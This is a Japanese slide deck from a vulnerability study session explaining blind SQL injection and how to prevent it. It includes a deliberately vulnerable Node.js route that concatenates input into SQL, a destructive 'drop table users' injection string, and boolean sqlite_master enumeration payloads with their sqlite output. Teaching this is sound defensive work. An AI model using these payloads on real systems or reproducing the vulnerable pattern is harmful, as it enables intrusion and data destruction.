blind



blind

0 0


blind

Blind SQL injection demo

On Github masakura / blind

Blind SQL Injection

脆弱性勉強会 #02

政倉 智

はじめに

SQL Injection とは?

app
  .get('/:id', (request, response) => {
    // http://localhost:3000/1 -> {request.param.id => 1}
    const rows = db.get('select * from items where id = ' + request.param.id);
    // 結果をウェブブラウザーに返す
  });
  • "http://localhost:3000/1; drop table users"
    • select * from users where id = 1; drop table users
  • こんな感じで SQL 文を実行できる
    • 好きなテーブルを削除できる!

SQL Injection とは?

  • テーブル消せるだけだから情報抜き取られないでしょ?
    • update もいけるから、自分のアカウントを管理者にしたりとか
  • そういうのテーブル名とかフィールド名が分からないと無理でしょ?
    • SQL エラー画面とかで情報拾います
  • SQL エラー画面を出さなければいいんじゃ?
    • そのための Blind SQL Injection です!

Blind SQL Injection とは?

  • SQL Injection を利用して、画面上に何らかの変化を生み出し、データベースの調査を行う方法です
    • 通常通り表示されたかどうかで行う方法
    • sleep を利用して実行時間を見るる方法
  • 今回は前者の通常通り表示されたかどうかの方法で解説します

原理

-- SQLite3 の場合
select * from sqlite_master
  • この SQL 文を実行するとテーブル名の一覧が取れる
    • でも、実際には SQL Injection で、好きなクエリの結果を表示させるのは意外と難しい
select * from items where id = 1
//                             ~ ここから自由になるので

原理

app
  .get('/tables/:id', (request, response) => {
    // http://localhost:3000/tables/items -> {request.param.name => 'items'}
    const rows = db.get('select * from ' + request.param.name);
    // 結果をウェブブラウザーに表示する
  });
  • こういうのが見つかると割と余裕なんだけど...
    • "http://localhost:3000/tables/sqlite_master"
  • だけど、都合よく見つかることはあまりない

原理

app
  .get('/:id', (request, response) => {
    // http://localhost:3000/1 -> {request.param.id => 1}
    const rows = db.get('select * from items where id = ' + request.param.id);
    // 結果をウェブブラウザーに返す
  });
  • "http://localhost:3000/1"
    • データがあるので表示される!
  • "http://localhost:3000/1 and 1 = 1"
    • データがあって、1 = 1 は真なので表示される
  • "http://localhost:3000/1 and 1 = 2"
    • データがあっても、1 = 2 は偽なので表示されない

原理

select * from items where id = 1 and
  (select count(*) from sqlite_master where tbl_name = 'users') > 0
  • users テーブルがあれば通常通りの画面、なければデータがありません画面になる
sqlite> select * from items where id = 1 and
   ...>   (select count(*) from sqlite_master where tbl_name = 'users') > 0;
1|978-4621066058|EFFECTIVE JAVA|3888
sqlite> select * from items where id = 1 and
   ...>   (select count(*) from sqlite_master where tbl_name = 'notexists') > 0;
sqlite>

原理

select * from items where id = 1 and
  (select count(*) from sqlite_master where substr(tbl_name, 1, 1) = 'u') > 0
  • u で始まるテーブルがあれば通常通りの画面、なければデータがありません画面になる
sqlite> select * from items where id = 1 and
   ...>   (select count(*) from sqlite_master
   ...>   where substr(tbl_name, 1, 1) = 'u') > 0;
1|978-4621066058|EFFECTIVE JAVA|3888
sqlite> select * from items where id = 1 and
   ...>   (select count(*) from sqlite_master
   ...>   where substr(tbl_name, 1, 1) = 'n') > 0;
sqlite>

何ができるのか

  • 辞書を使ってテーブル名を探すのもよし!
  • 一文字ずつ探していくもよし!
  • 地道だけど...
  • テーブル名をリストアップする
  • フィールド名をリストアップする
  • もうちょっと調査して...
  • 自アカウントの権限昇格とか
  • 他にもいろいろできるんじゃないかな?

Blind SQL Injection

  • 時間と手間はかかりそうだけど、多分改善 (?) できる
    • ボットネットワークを利用すれば...
    • アルゴリズムを改善すれば...
  • 仮に時間がかかったとしても...
    • 専用のツールがあるんで、ちょっと設定して仕掛けて寝るだけ? みたいな?
    • 仕掛けて一週間後にレポートもらう感じでも十分かと

防ぐには

  • とにかく SQL Injection があるコードを書かないこと
    • 比較的対処がやりやすい方なので、プロジェクト開始時にルール化と徹底
    • 対処が難しいところは、きちんとした体制で作る
  • 一応静的コード検査ツールがあったような...
    • ツールで全部拾えるわけじゃないけど、脆弱性を生み出した人が書いたところは全部あやしいよね!

防ぐには

  • 脆弱性対策は「想像力は必要だけど、独創性は必要ない」
  • 複雑な対策は必ず穴を生む
    • シンプルでレビューしやすい方法を取る

防ぐには

  • WAF 重要!
    • 怪しいリクエストをレポートさせれば、調査のための大量攻撃に気がつけるかも
    • 正しく運用しないとだめだけどね!
  • そろそろ「WAF なしが許されるのは小学生までだよね!」になりそう...
    • 私もいい加減覚えないと...

まとめ

  • Blind SQL Injection は SQL Injection の一種で、クエリを少しずつ書き換えて画面に生じた変化で調査する方法
  • テーブル名やフィールド名の調査くらいなら余裕だし、もっといろいろと調査できる
  • 「テーブル名やフィールド名がバレなければ SQL Injection による攻撃が成立しない」というのはウソ
  • 世の中には便利なクラッキングツールがあるよ!
  • SQL Injection を生み出さないことが大事!
Blind SQL Injection 脆弱性勉強会 #02 政倉 智